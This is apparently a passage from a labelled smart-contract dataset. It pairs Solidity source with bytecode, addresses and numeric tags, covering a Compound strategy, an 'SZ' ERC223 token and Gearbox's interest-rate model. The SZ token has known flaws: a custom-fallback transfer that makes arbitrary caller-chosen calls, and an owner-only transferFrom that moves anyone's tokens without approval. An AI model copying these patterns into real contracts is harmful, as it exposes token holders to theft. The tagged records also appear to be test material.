vaultAddress, asset.balanceOf(address(this)) ); } } } /** * @dev Get the total asset value held in the platform * This includes any interest that was generated since depositing * Compound exchange rate between the cToken and asset gradually increases, * causing the cToken to be worth more corresponding asset. * @param _asset Address of the asset * @return balance Total value of the asset in the platform */ function checkBalance(address _asset) external view override returns (uint256 balance) { // Balance is always with token cToken decimals ICERC20 cToken = _getCTokenFor(_asset); balance = _checkBalance(cToken); } /** * @dev Get the total asset value held in the platform * underlying = (cTokenAmt * exchangeRate) / 1e18 * @param _cToken cToken for which to check balance * @return balance Total value of the asset in the platform */ function _checkBalance(ICERC20 _cToken) internal view returns (uint256 balance) { uint256 cTokenBalance = _cToken.balanceOf(address(this)); uint256 exchangeRate = _cToken.exchangeRateStored(); // e.g. 50e8*205316390724364402565641705 / 1e18 = 1.0265..e18 balance = (cTokenBalance * exchangeRate) / 1e18; } /** * @dev Retuns bool indicating whether asset is supported by strategy * @param _asset Address of the asset */ function supportsAsset(address _asset) external view override returns (bool) { return assetToPToken[_asset] != address(0); } /** * @dev Approve the spending of all assets by their corresponding cToken, * if for some reason is it necessary. */ function safeApproveAllTokens() external override { uint256 assetCount = assetsMapped.length; for (uint256 i = 0; i < assetCount; i++) { address asset = assetsMapped[i]; address cToken = assetToPToken[asset]; // Safe approval IERC20(asset).safeApprove(cToken, 0); IERC20(asset).safeApprove(cToken, type(uint256).max); } } /** * @dev Internal method to respond to the addition of new asset / cTokens * We need to approve the cToken and give it permission to spend the asset * @param _asset Address of the asset to approve * @param _cToken The cToken for the approval */ function _abstractSetPToken(address _asset, address _cToken) internal override { // Safe approval IERC20(_asset).safeApprove(_cToken, 0); IERC20(_asset).safeApprove(_cToken, type(uint256).max); } /** * @dev Get the cToken wrapped in the ICERC20 interface for this asset. * Fails if the pToken doesn't exist in our mappings. * @param _asset Address of the asset * @return Corresponding cToken to this asset */ function _getCTokenFor(address _asset) internal view returns (ICERC20) { address cToken = assetToPToken[_asset]; require(cToken != address(0), "cToken does not exist"); return ICERC20(cToken); } /** * @dev Converts an underlying amount into cToken amount * cTokenAmt = (underlying * 1e18) / exchangeRate * @param _cToken cToken for which to change * @param _underlying Amount of underlying to convert * @return amount Equivalent amount of cTokens */ function _convertUnderlyingToCToken(ICERC20 _cToken, uint256 _underlying) internal view returns (uint256 amount) { uint256 exchangeRate = _cToken.exchangeRateStored(); // e.g. 1e18*1e18 / 205316390724364402565641705 = 50e8 // e.g. 1e8*1e18 / 205316390724364402565641705 = 0.45 or 0 amount = (_underlying * 1e18) / exchangeRate; } }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063790fcf9f116100c3578063c7af33521161007c578063c7af3352146102c2578063cd3b0212146102ca578063d38bfff4146102dd578063d9caed12146102f0578063dbe55e5614610303578063de5f62681461031657600080fd5b8063790fcf9f1461023b578063853828b61461024e5780639136616a146102565780639a6acf2014610269578063aa388af61461027c578063ad1728cb146102ba57600080fd5b8063125f9e3311610115578063125f9e33146101d0578063430bf08a146101e357806347e7ef24146101f65780635653b414146102095780635d36b190146102205780635f5152261461022857600080fd5b80630242241d146101525780630c340a241461015c5780630ed57b3a146101815780630fc3b4c4146101945780631072cbea146101bd575b600080fd5b61015a61031e565b005b61016461057a565b6040516001600160a01b0390911681526020015b60405180910390f35b61015a61018f366004611eca565b610597565b6101646101a2366004611e90565b6035602052600090815260409020546001600160a01b031681565b61015a6101cb366004611fec565b6105c9565b603754610164906001600160a01b031681565b603454610164906001600160a01b031681565b61015a610204366004611fec565b610609565b61021260385481565b604051908152602001610178565b61015a61067c565b610212610236366004611e90565b610722565b61015a610249366004611f03565b610740565b61015a61088e565b61015a61026436600461203a565b610bf6565b61015a610277366004611e90565b610dc1565b6102aa61028a366004611e90565b6001600160a01b0390811660009081526035602052604090205416151590565b6040519015158152602001610178565b61015a610e4e565b6102aa610ed4565b61015a6102d836600461203a565b610f05565b61015a6102eb366004611e90565b610f6a565b61015a6102fe366004611fab565b61100e565b603354610164906001600160a01b031681565b61015a6112ea565b6034546001600160a01b031633146103515760405162461bcd60e51b8152600401610348906120bb565b60405180910390fd5b60008051602061224c833981519152805460028114156103835760405162461bcd60e51b815260040161034890612129565b6002825560006103ba60366000815481106103a0576103a0612220565b6000918252602090912001546001600160a01b031661143c565b90506000816001600160a01b0316635fe3b5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156103f757600080fd5b505afa15801561040b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061042f9190611ead565b6040516374d7814960e11b81523060048201529091506001600160a01b0382169063e9af029290602401600060405180830381600087803b15801561047357600080fd5b505af1158015610487573d6000803e3d6000fd5b50506037546040516370a0823160e01b81523060048201526001600160a01b0390911692506000915082906370a082319060240160206040518083038186803b1580156104d357600080fd5b505afa1580156104e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061050b9190612053565b603454604080516001600160a01b039092168252602082018390529192507f9b15fe06f6132479e0c4d9dfbbff1de507a47663a459b2cc4ba1aa5a55e52058910160405180910390a160345461056e906001600160a01b038481169116836114a4565b50505050600182555050565b600061059260008051602061226c8339815191525490565b905090565b61059f610ed4565b6105bb5760405162461bcd60e51b8152600401610348906120f2565b6105c5828261150c565b5050565b6105d1610ed4565b6105ed5760405162461bcd60e51b8152600401610348906120f2565b6105c56105f861057a565b6001600160a01b03841690836114a4565b6034546001600160a01b031633146106335760405162461bcd60e51b8152600401610348906120bb565b60008051602061224c833981519152805460028114156106655760405162461bcd60e51b815260040161034890612129565b600282556106738484611671565b50600190555050565b7f44c4d30b2eaad5130ad70c3ba6972730566f3e6359ab83e800d905c61b1c51db546001600160a01b0316336001600160a01b0316146107175760405162461bcd60e51b815260206004820152603060248201527f4f6e6c79207468652070656e64696e6720476f7665726e6f722063616e20636f60448201526f6d706c6574652074686520636c61696d60801b6064820152608401610348565b610720336117cb565b565b60008061072e8361143c565b90506107398161188f565b9392505050565b610748610ed4565b6107645760405162461bcd60e51b8152600401610348906120f2565b600054610100900460ff168061077d575060005460ff16155b6107e05760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610348565b600054610100900460ff16158015610802576000805461ffff19166101011790555b61087288888888888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050604080516020808c0282810182019093528b82529093508b92508a9182918501908490808284376000920191909152506119a792505050565b8015610884576000805461ff00191690555b5050505050505050565b6034546001600160a01b03163314806108bf57506108aa61057a565b6001600160a01b0316336001600160a01b0316145b6109175760405162461bcd60e51b815260206004820152602360248201527f43616c6c6572206973206e6f7420746865205661756c74206f7220476f7665726044820152623737b960e91b6064820152608401610348565b60008051602061224c833981519152805460028114156109495760405162461bcd60e51b815260040161034890612129565b6002825560005b603654811015610bee576000610972603683815481106103a0576103a0612220565b6040516370a0823160e01b81523060048201529091506000906001600160a01b038316906370a082319060240160206040518083038186803b1580156109b757600080fd5b505afa1580156109cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ef9190612053565b1115610bdb576040516370a0823160e01b81523060048201526001600160a01b0382169063db006a759082906370a082319060240160206040518083038186803b158015610a3c57600080fd5b505afa158015610a50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a749190612053565b6040518263ffffffff1660e01b8152600401610a9291815260200190565b602060405180830381600087803b158015610aac57600080fd5b505af1158015610ac0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae49190612053565b15610b215760405162461bcd60e51b815260206004820152600d60248201526c14995919595b4819985a5b1959609a1b6044820152606401610348565b600060368381548110610b3657610b36612220565b6000918252602090912001546034546040516370a0823160e01b81523060048201526001600160a01b039283169350610bd9929091169083906370a082319060240160206040518083038186803b158015610b9057600080fd5b505afa158015610ba4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc89190612053565b6001600160a01b03841691906114a4565b505b5080610be6816121d9565b915050610950565b505060019055565b610bfe610ed4565b610c1a5760405162461bcd60e51b8152600401610348906120f2565b6036548110610c5b5760405162461bcd60e51b815260206004820152600d60248201526c092dcecc2d8d2c840d2dcc8caf609b1b6044820152606401610348565b600060368281548110610c7057610c70612220565b60009182526020808320909101546001600160a01b03908116808452603590925260409092205460365491935090911690610cad90600190612192565b831015610d2f5760368054610cc490600190612192565b81548110610cd457610cd4612220565b600091825260209091200154603680546001600160a01b039092169185908110610d0057610d00612220565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b031602179055505b6036805480610d4057610d4061220a565b60008281526020808220600019908401810180546001600160a01b031990811690915593019093556001600160a01b038581168083526035855260409283902080549094169093559051908416815290917f16b7600acff27e39a8a96056b3d533045298de927507f5c1d97e4accde60488c910160405180910390a2505050565b610dc9610ed4565b610de55760405162461bcd60e51b8152600401610348906120f2565b603754604080516001600160a01b03928316815291831660208301527f6000690cf6fd1e69830cc1142bc52655402f4a58db681849f61c3c8fb322ff8a910160405180910390a1603780546001600160a01b0319166001600160a01b0392909216919091179055565b60365460005b818110156105c557600060368281548110610e7157610e71612220565b60009182526020808320909101546001600160a01b03908116808452603590925260408320549193501690610ea99083908390611a8f565b610ebf6001600160a01b03831682600019611a8f565b50508080610ecc906121d9565b915050610e54565b6000610eec60008051602061226c8339815191525490565b6001600160a01b0316336001600160a01b031614905090565b610f0d610ed4565b610f295760405162461bcd60e51b8152600401610348906120f2565b60385460408051918252602082018390527f01538952e8f491e3569a11bf3935ca2fa917ea85ec938dac52e696fbb76d8cc6910160405180910390a1603855565b610f72610ed4565b610f8e5760405162461bcd60e51b8152600401610348906120f2565b610fb6817f44c4d30b2eaad5130ad70c3ba6972730566f3e6359ab83e800d905c61b1c51db55565b806001600160a01b0316610fd660008051602061226c8339815191525490565b6001600160a01b03167fa39cc5eb22d0f34d8beaefee8a3f17cc229c1a1d1ef87a5ad47313487b1c4f0d60405160405180910390a350565b6034546001600160a01b031633146110385760405162461bcd60e51b8152600401610348906120bb565b60008051602061224c8339815191528054600281141561106a5760405162461bcd60e51b815260040161034890612129565b60028255600083116110be5760405162461bcd60e51b815260206004820152601760248201527f4d75737420776974686472617720736f6d657468696e670000000000000000006044820152606401610348565b6001600160a01b03851661110d5760405162461bcd60e51b8152602060048201526016602482015275135d5cdd081cdc1958da599e481c9958da5c1a595b9d60521b6044820152606401610348565b6001600160a01b0384811660008181526035602090815260409182902054825194168452830186905290917f2717ead6b9200dd235aad468c9809ea400fe33ac69b5bfaa6d3e90fc922b6398910160405180910390a2600061116e8561143c565b9050600061117c8286611bb3565b9050806111cc57604080516001600160a01b0388168152602081018790527f2ca0d37ecfc1b8853f4bc276c69586250b3978c1d467c05d6c143966026724ec910160405180910390a150506112e0565b604080516001600160a01b038481168252602082018890528816917f2717ead6b9200dd235aad468c9809ea400fe33ac69b5bfaa6d3e90fc922b6398910160405180910390a260405163852a12e360e01b8152600481018690526001600160a01b0383169063852a12e390602401602060405180830381600087803b15801561125457600080fd5b505af1158015611268573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061128c9190612053565b156112c95760405162461bcd60e51b815260206004820152600d60248201526c14995919595b4819985a5b1959609a1b6044820152606401610348565b6112dd6001600160a01b03871688876114a4565b50505b5060019055505050565b6034546001600160a01b031633146113145760405162461bcd60e51b8152600401610348906120bb565b60008051602061224c833981519152805460028114156113465760405162461bcd60e51b815260040161034890612129565b6002825560005b603654811015610bee5760006036828154811061136c5761136c612220565b6000918252602090912001546040516370a0823160e01b81523060048201526001600160a01b03909116906370a082319060240160206040518083038186803b1580156113b857600080fd5b505afa1580156113cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f09190612053565b90508015611429576114296036838154811061140e5761140e612220565b6000918252602090912001546001600160a01b031682611671565b5080611434816121d9565b91505061134d565b6001600160a01b038082166000908152603560205260408120549091168061149e5760405162461bcd60e51b815260206004820152601560248201527418d51bdad95b88191bd95cc81b9bdd08195e1a5cdd605a1b6044820152606401610348565b92915050565b6040516001600160a01b03831660248201526044810182905261150790849063a9059cbb60e01b906064015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152611c3c565b505050565b6001600160a01b0382811660009081526035602052604090205416156115695760405162461bcd60e51b81526020600482015260126024820152711c151bdad95b88185b1c9958591e481cd95d60721b6044820152606401610348565b6001600160a01b0382161580159061158957506001600160a01b03811615155b6115c95760405162461bcd60e51b8152602060048201526011602482015270496e76616c69642061646472657373657360781b6044820152606401610348565b6001600160a01b03828116600081815260356020908152604080832080549587166001600160a01b031996871681179091556036805460018101825594527f4a11f94e20a93c79f6ec743a1954ec4fc2c08429ae2122118bf234b2185c81b890930180549095168417909455925190815290917fef6485b84315f9b1483beffa32aae9a0596890395e3d7521f1c5fbb51790e765910160405180910390a26105c58282611d0e565b600081116116ba5760405162461bcd60e51b81526020600482015260166024820152754d757374206465706f73697420736f6d657468696e6760501b6044820152606401610348565b60006116c58361143c565b604080516001600160a01b03808416825260208201869052929350918516917f5548c837ab068cf56a2c2479df0882a4922fd203edb7517321831d95078c5f62910160405180910390a260405163140e25ad60e31b8152600481018390526001600160a01b0382169063a0712d6890602401602060405180830381600087803b15801561175157600080fd5b505af1158015611765573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117899190612053565b156115075760405162461bcd60e51b815260206004820152601260248201527118d51bdad95b881b5a5b9d0819985a5b195960721b6044820152606401610348565b6001600160a01b0381166118215760405162461bcd60e51b815260206004820152601a60248201527f4e657720476f7665726e6f7220697320616464726573732830290000000000006044820152606401610348565b806001600160a01b031661184160008051602061226c8339815191525490565b6001600160a01b03167fc7c0c772add429241571afb3805861fb3cfa2af374534088b76cdb4325a87e9a60405160405180910390a361188c8160008051602061226c83398151915255565b50565b6040516370a0823160e01b815230600482015260009081906001600160a01b038416906370a082319060240160206040518083038186803b1580156118d357600080fd5b505afa1580156118e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061190b9190612053565b90506000836001600160a01b031663182df0f56040518163ffffffff1660e01b815260040160206040518083038186803b15801561194857600080fd5b505afa15801561195c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119809190612053565b9050670de0b6b3a76400006119958284612173565b61199f9190612151565b949350505050565b603380546001600160a01b038088166001600160a01b031992831617909255603480548784169083161790556037805492861692909116919091179055815181518114611a2d5760405162461bcd60e51b8152602060048201526014602482015273496e76616c696420696e7075742061727261797360601b6044820152606401610348565b60005b81811015611a8657611a74848281518110611a4d57611a4d612220565b6020026020010151848381518110611a6757611a67612220565b602002602001015161150c565b80611a7e816121d9565b915050611a30565b50505050505050565b801580611b185750604051636eb1769f60e11b81523060048201526001600160a01b03838116602483015284169063dd62ed3e9060440160206040518083038186803b158015611ade57600080fd5b505afa158015611af2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b169190612053565b155b611b835760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b6064820152608401610348565b6040516001600160a01b03831660248201526044810182905261150790849063095ea7b360e01b906064016114d0565b600080836001600160a01b031663182df0f56040518163ffffffff1660e01b815260040160206040518083038186803b158015611bef57600080fd5b505afa158015611c03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c279190612053565b90508061199584670de0b6b3a7640000612173565b6000611c91826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316611d399092919063ffffffff16565b8051909150156115075780806020019051810190611caf9190612018565b6115075760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610348565b611d236001600160a01b038316826000611a8f565b6105c56001600160a01b03831682600019611a8f565b606061199f848460008585843b611d925760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610348565b600080866001600160a01b03168587604051611dae919061206c565b60006040518083038185875af1925050503d8060008114611deb576040519150601f19603f3d011682016040523d82523d6000602084013e611df0565b606091505b5091509150611e00828286611e0b565b979650505050505050565b60608315611e1a575081610739565b825115611e2a5782518084602001fd5b8160405162461bcd60e51b81526004016103489190612088565b60008083601f840112611e5657600080fd5b50813567ffffffffffffffff811115611e6e57600080fd5b6020830191508360208260051b8501011115611e8957600080fd5b9250929050565b600060208284031215611ea257600080fd5b813561073981612236565b600060208284031215611ebf57600080fd5b815161073981612236565b60008060408385031215611edd57600080fd5b8235611ee881612236565b91506020830135611ef881612236565b809150509250929050565b600080600080600080600060a0888a031215611f1e57600080fd5b8735611f2981612236565b96506020880135611f3981612236565b95506040880135611f4981612236565b9450606088013567ffffffffffffffff80821115611f6657600080fd5b611f728b838c01611e44565b909650945060808a0135915080821115611f8b57600080fd5b50611f988a828b01611e44565b989b979a50959850939692959293505050565b600080600060608486031215611fc057600080fd5b8335611fcb81612236565b92506020840135611fdb81612236565b929592945050506040919091013590565b60008060408385031215611fff57600080fd5b823561200a81612236565b946020939093013593505050565b60006020828403121561202a57600080fd5b8151801515811461073957600080fd5b60006020828403121561204c57600080fd5b5035919050565b60006020828403121561206557600080fd5b5051919050565b6000825161207e8184602087016121a9565b9190910192915050565b60208152600082518060208401526120a78160408501602087016121a9565b601f01601f19169190910160400192915050565b60208082526017908201527f43616c6c6572206973206e6f7420746865205661756c74000000000000000000604082015260600190565b6020808252601a908201527f43616c6c6572206973206e6f742074686520476f7665726e6f72000000000000604082015260600190565b6020808252600e908201526d1499595b9d1c985b9d0818d85b1b60921b604082015260600190565b60008261216e57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561218d5761218d6121f4565b500290565b6000828210156121a4576121a46121f4565b500390565b60005b838110156121c45781810151838201526020016121ac565b838111156121d3576000848401525b50505050565b60006000198214156121ed576121ed6121f4565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461188c57600080fdfe53bf423e48ed90e97d02ab0ebab13b2a235a6bfbe9c321847d5c175333ac45357bea13895fa79d2831e0a9e28edede30099005a50d652d8957cf8a607ee6ca4aa2646970667358221220f21e89bdf852a518d4da3c33dc87af9f31685fbbc1f62e83a213e9aa0b0adfad64736f6c63430008070033
[ 9 ]
0xF37c9C01000f69976Eaa489C450912aD8f18A40C
pragma solidity ^0.4.9; contract SafeMath { uint256 constant public MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; function safeAdd(uint256 x, uint256 y) pure internal returns (uint256 z) { if (x > MAX_UINT256 - y) assert(false); return x + y; } function safeSub(uint256 x, uint256 y) pure internal returns (uint256 z) { if (x < y) assert(false); return x - y; } function safeMul(uint256 x, uint256 y) pure internal returns (uint256 z) { if (y == 0) return 0; if (x > MAX_UINT256 / y) assert(false); return x * y; } } contract ContractReceiver { function tokenFallback(address _from, uint _value, bytes _data) public; } contract SZ is SafeMath { event Transfer(address indexed _from, address indexed _to, uint256 _value); event Burn(address indexed burner, uint256 value); mapping(address => uint) balances; string public name = "SZ"; string public symbol = "SZ"; uint8 public decimals = 8; uint256 public totalSupply; uint256 public burn; address owner; constructor(uint256 _supply, string _name, string _symbol, uint8 _decimals) public { if (_supply == 0) _supply = 500000000000000000; owner = msg.sender; balances[owner] = _supply; totalSupply = balances[owner]; name = _name; decimals = _decimals; symbol = _symbol; } // Function to access name of token . function name() public constant returns (string _name) { return name; } // Function to access symbol of token . function symbol() public constant returns (string _symbol) { return symbol; } // Function to access decimals of token . function decimals() public constant returns (uint8 _decimals) { return decimals; } // Function to access total supply of tokens . function totalSupply() public constant returns (uint256 _totalSupply) { return totalSupply; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { if(isContract(_to)) { if (balanceOf(msg.sender) < _value) assert(false); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); assert(_to.call.value(0)(bytes4(keccak256(abi.encodePacked(_custom_fallback))), msg.sender, _value, _data)); emit Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) public returns (bool success) { if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) public returns (bool success) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } //function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { _data = ''; if (balanceOf(msg.sender) < _value) assert(false); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); emit Transfer(msg.sender, _to, _value); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) assert(false); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public { if(!isOwner()) return; if (balances[_from] < _value) return; if (safeAdd(balances[_to] , _value) < balances[_to]) return; balances[_from] = safeSub(balances[_from],_value); balances[_to] = safeAdd(balances[_to],_value); /* Notifiy anyone listening that this transfer took place */ emit Transfer(_from, _to, _value); } function burn(uint256 _value) public { if (balances[msg.sender] < _value) return; balances[msg.sender] = safeSub(balances[msg.sender],_value); burn = safeAdd(burn,_value); emit Burn(msg.sender, _value); } function isOwner() public view returns (bool) { return owner == msg.sender; } function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } }
0x6080604052600436106100ab5763ffffffff60e060020a60003504166306fdde0381146100b057806318160ddd1461013a57806323b872dd14610161578063313ce5671461018d57806333a581d2146101b857806342966c68146101cd57806344df8e70146101e557806370a08231146101fa5780638f32d59b1461021b57806395d89b4114610244578063a9059cbb14610259578063be45fd621461027d578063f6368f8a146102e6575b600080fd5b3480156100bc57600080fd5b506100c561038d565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100ff5781810151838201526020016100e7565b50505050905090810190601f16801561012c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014657600080fd5b5061014f610422565b60408051918252519081900360200190f35b34801561016d57600080fd5b5061018b600160a060020a0360043581169060243516604435610428565b005b34801561019957600080fd5b506101a2610529565b6040805160ff9092168252519081900360200190f35b3480156101c457600080fd5b5061014f610532565b3480156101d957600080fd5b5061018b600435610538565b3480156101f157600080fd5b5061014f6105c8565b34801561020657600080fd5b5061014f600160a060020a03600435166105ce565b34801561022757600080fd5b506102306105e9565b604080519115158252519081900360200190f35b34801561025057600080fd5b506100c56105fa565b34801561026557600080fd5b50610230600160a060020a0360043516602435610658565b34801561028957600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610230948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061068e9650505050505050565b3480156102f257600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610230948235600160a060020a031694602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497506106c29650505050505050565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156104185780601f106103ed57610100808354040283529160200191610418565b820191906000526020600020905b8154815290600101906020018083116103fb57829003601f168201915b5050505050905090565b60045490565b6104306105e9565b151561043b57610524565b600160a060020a03831660009081526020819052604090205481111561046057610524565b600160a060020a038216600090815260208190526040902054610483818361090d565b101561048e57610524565b600160a060020a0383166000908152602081905260409020546104b19082610922565b600160a060020a0380851660009081526020819052604080822093909355908416815220546104e0908261090d565b600160a060020a03808416600081815260208181526040918290209490945580518581529051919392871692600080516020610b5783398151915292918290030190a35b505050565b60035460ff1690565b60001981565b33600090815260208190526040902054811115610554576105c5565b3360009081526020819052604090205461056e9082610922565b3360009081526020819052604090205560055461058b908261090d565b60055560408051828152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25b50565b60055481565b600160a060020a031660009081526020819052604090205490565b600654600160a060020a0316331490565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156104185780601f106103ed57610100808354040283529160200191610418565b6000606061066584610934565b1561067c5761067584848361093c565b9150610687565b610675848483610ab4565b5092915050565b600061069984610934565b156106b0576106a984848461093c565b90506106bb565b6106a9848484610ab4565b9392505050565b60006106cd85610934565b156108f757836106dc336105ce565b10156106e457fe5b6106f66106f0336105ce565b85610922565b33600090815260208190526040902055610718610712866105ce565b8561090d565b60008087600160a060020a0316600160a060020a031681526020019081526020016000208190555084600160a060020a03166000836040516020018082805190602001908083835b6020831061077f5780518252601f199092019160209182019101610760565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b602083106107e25780518252601f1990920191602091820191016107c3565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b8381101561087457818101518382015260200161085c565b50505050905090810190601f1680156108a15780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af1935050505015156108c157fe5b604080518581529051600160a060020a038716913391600080516020610b578339815191529181900360200190a3506001610905565b610902858585610ab4565b90505b949350505050565b6000816000190383111561091d57fe5b500190565b60008183101561092e57fe5b50900390565b6000903b1190565b60008083610949336105ce565b101561095157fe5b61095d6106f0336105ce565b33600090815260208190526040902055610979610712866105ce565b600160a060020a0386166000818152602081815260408083209490945592517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018a90526060604484019081528951606485015289518c9850959663c0ee0b8a9693958c958c956084909101928601918190849084905b83811015610a155781810151838201526020016109fd565b50505050905090810190601f168015610a425780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015610a6357600080fd5b505af1158015610a77573d6000803e3d6000fd5b5050604080518781529051600160a060020a0389169350339250600080516020610b578339815191529181900360200190a3506001949350505050565b506040805160208101909152600080825282610acf336105ce565b1015610ad757fe5b610ae9610ae3336105ce565b84610922565b33600090815260208190526040902055610b0b610b05856105ce565b8461090d565b600160a060020a03851660008181526020818152604091829020939093558051868152905191923392600080516020610b578339815191529281900390910190a350600193925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058200dc2a264f3b0b005ce21db1ce0e934646b78818eff37253b3b8516fea42c8b780029
[ 12, 1, 17 ]
0xf37d605F6428576529657E24dFb439803f602118
// SPDX-License-Identifier: BUSL-1.1 // Gearbox Protocol. Generalized leverage for DeFi protocols // (c) Gearbox Holdings, 2021 pragma solidity ^0.7.4; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {PercentageMath} from "../libraries/math/PercentageMath.sol"; import {WadRayMath} from "../libraries/math/WadRayMath.sol"; import {IInterestRateModel} from "../interfaces/IInterestRateModel.sol"; import {Constants} from "../libraries/helpers/Constants.sol"; import {Errors} from "../libraries/helpers/Errors.sol"; /// @title Linear Interest Rate Model /// @notice Linear interest rate model, similar which Aave uses contract LinearInterestRateModel is IInterestRateModel { using PercentageMath for uint256; using SafeMath for uint256; using WadRayMath for uint256; // Uoptimal[0;1] in Wad uint256 public immutable _U_Optimal_WAD; // 1 - Uoptimal [0;1] x10.000, percentage plus two decimals uint256 public immutable _U_Optimal_inverted_WAD; // R_base in Ray uint256 public immutable _R_base_RAY; // R_Slope1 in Ray uint256 public immutable _R_slope1_RAY; // R_Slope2 in Ray uint256 public immutable _R_slope2_RAY; // Contract version uint constant public version = 1; /// @dev Constructor /// @param U_optimal Optimal U in percentage format: x10.000 - percentage plus two decimals /// @param R_base R_base in percentage format: x10.000 - percentage plus two decimals @param R_slope1 R_Slope1 in Ray /// @param R_slope1 R_Slope1 in percentage format: x10.000 - percentage plus two decimals /// @param R_slope2 R_Slope2 in percentage format: x10.000 - percentage plus two decimals constructor( uint256 U_optimal, uint256 R_base, uint256 R_slope1, uint256 R_slope2 ) { require( U_optimal <= PercentageMath.PERCENTAGE_FACTOR, Errors.INCORRECT_PARAMETER ); require( R_base <= PercentageMath.PERCENTAGE_FACTOR, Errors.INCORRECT_PARAMETER ); require( R_slope1 <= PercentageMath.PERCENTAGE_FACTOR, Errors.INCORRECT_PARAMETER ); // Convert percetns to WAD uint256 U_optimal_WAD = WadRayMath.WAD.percentMul(U_optimal); _U_Optimal_WAD = U_optimal_WAD; // 1 - Uoptimal in WAD _U_Optimal_inverted_WAD = WadRayMath.WAD.sub(U_optimal_WAD); _R_base_RAY = WadRayMath.RAY.percentMul(R_base); _R_slope1_RAY = WadRayMath.RAY.percentMul(R_slope1); _R_slope2_RAY = WadRayMath.RAY.percentMul(R_slope2); } /// @dev Calculated borrow rate based on expectedLiquidity and availableLiquidity /// @param expectedLiquidity Expected liquidity in the pool /// @param availableLiquidity Available liquidity in the pool function calcBorrowRate( uint256 expectedLiquidity, uint256 